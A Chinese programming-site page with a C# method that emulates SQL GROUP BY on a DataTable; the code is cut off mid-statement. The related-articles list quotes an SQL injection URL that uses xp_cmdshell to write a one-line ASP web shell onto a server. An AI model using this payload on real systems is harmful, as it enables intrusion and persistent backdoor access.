易截截图软件、单文件、免安装、纯绿色、仅160KB

类似SQL 的Group by功能

最近做了几个小小统计的报表界面,由于.net不带group by 的功能,统计起来有时候相当不便,便趁着睡着的时候写了一个类似的方法。
有不足之处或是有更好的方法还望大家指正。
至于效率如何?未知,因为本人的测试数据就是比较少。
/// <summary>
/// SQL Group by
/// </summary>
/// <param name="dtSource">数据源</param>
/// <param name="arrType">统计类型:count、sum、avg、max、min</param>
/// <param name="arrField">与前面类型一一对应的字段</param>
/// <param name="strGroupby">Groupby字段,可以多个,并用逗号隔开</param>
/// <returns></returns>
public static DataTable DataTableGroupBy(DataTable dtSource, string[] arrType, string[] arrField, string strGroupby)
{
if (strGroupby == null || strGroupby == string.Empty)
{
strGroupby = "PublicColumn";
dtSource.Columns.Add(strGroupby);//无条件全局统计
}
//创建一个与数据源相同结构的表用于接收统计后的数据
DataTable dt = dtSource.Clone();
//group by(或distinct) 操作过滤掉相同项
DataView dv = dtSource.Copy().DefaultView.ToTable(true, strGroupby).DefaultView;
string[] arrRow = strGroupby.Split(',');
foreach (DataRowView drv in dv)
{
strGroupby = string.Empty;
DataRow dr = dt.NewRow();
for (int i = 0; i < arrRow.Length; i++)
{
//过滤条件
strGroupby += arrRow[i] + (drv[arrRow[i]].ToString() == string.Empty ? " is null " : "='" + drv[arrRow[i]] + "'") + " and ";
dr[arrRow[i]] = drv[arrRow[i]];
}
strGroupby += "1=1";
//对每个字段进行不同方式的统计
for (int i = 0; i < arrType.Length; i++)
{
dr[arrField[i]] = dtSource.Compute(arrType[i]


相关文档:

航空公司管理系统(VC++ 与SQL 2005)

系统环境:Windows 7
软件环境:Visual C++ 2008 SP1 +SQL Server 2005
本次目的:编写一个航空管理系统
      这是数据库课程设计的成果,虽然成绩不佳,但是作为我用VC++ 以来编写的最大程序还是传到网上,以供参考。用VC++ 做数据库设计并不容易,但也不是不可能。以下是我的程序界面,后面 ......

最详细的SQL注入语句

最详细的SQL注入语句相关的命令整理
1、    用^转义字符来写ASP(一句话木马)文件的方法:
   http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';- ......

SQL Server 索引结构及其使用(三)

实现小数据量和海量数据的通用分页显示存储过程
  建立一个 Web 应用,分页浏览功能必不可少。这个问题是数据库处理中十分常见的问题。经典的数据分页方法是:ADO 纪录集分页法,也就是利用ADO自带的分页功能(利用游标)来实现分页。但这种分页方法仅适用于较小数据量的情形,因为游标本身有缺点:游标是存放在内存中, ......

SQL 2005数据类型说明

自动编号:设字段类型为:int ,然后列属性中 (是标识)选是,标识种子选1。
用varchar(max)代替text。varchar的最大长度为8000,但是varchar(max)则可以存储多达2G的数据,因此其作用相当于SQL 2000中的text。但是微软可能会后续的SQL Server版本中移除text类型,从现在就应该用varchar(max) 来代替text。
用nvarchar(m ......

测试SQL Server执行时间和CPU时间

在需要测试sql语句或者存储过程性能的时候可以用得上
  CHECKPOINT --用于检查当前工作的数据库中被更改过的数据页或日志页,并将这些数据从数据缓冲器中强制写入硬盘
  GO
  DBCC FreeProcCache --从缓冲池中删除所有缓冲区
  DBCC DropCleanBuffers&nbs ......
© 2009 ej38.com All Rights Reserved. 关于E健网联系我们 | 站点地图 | 赣ICP备09004571号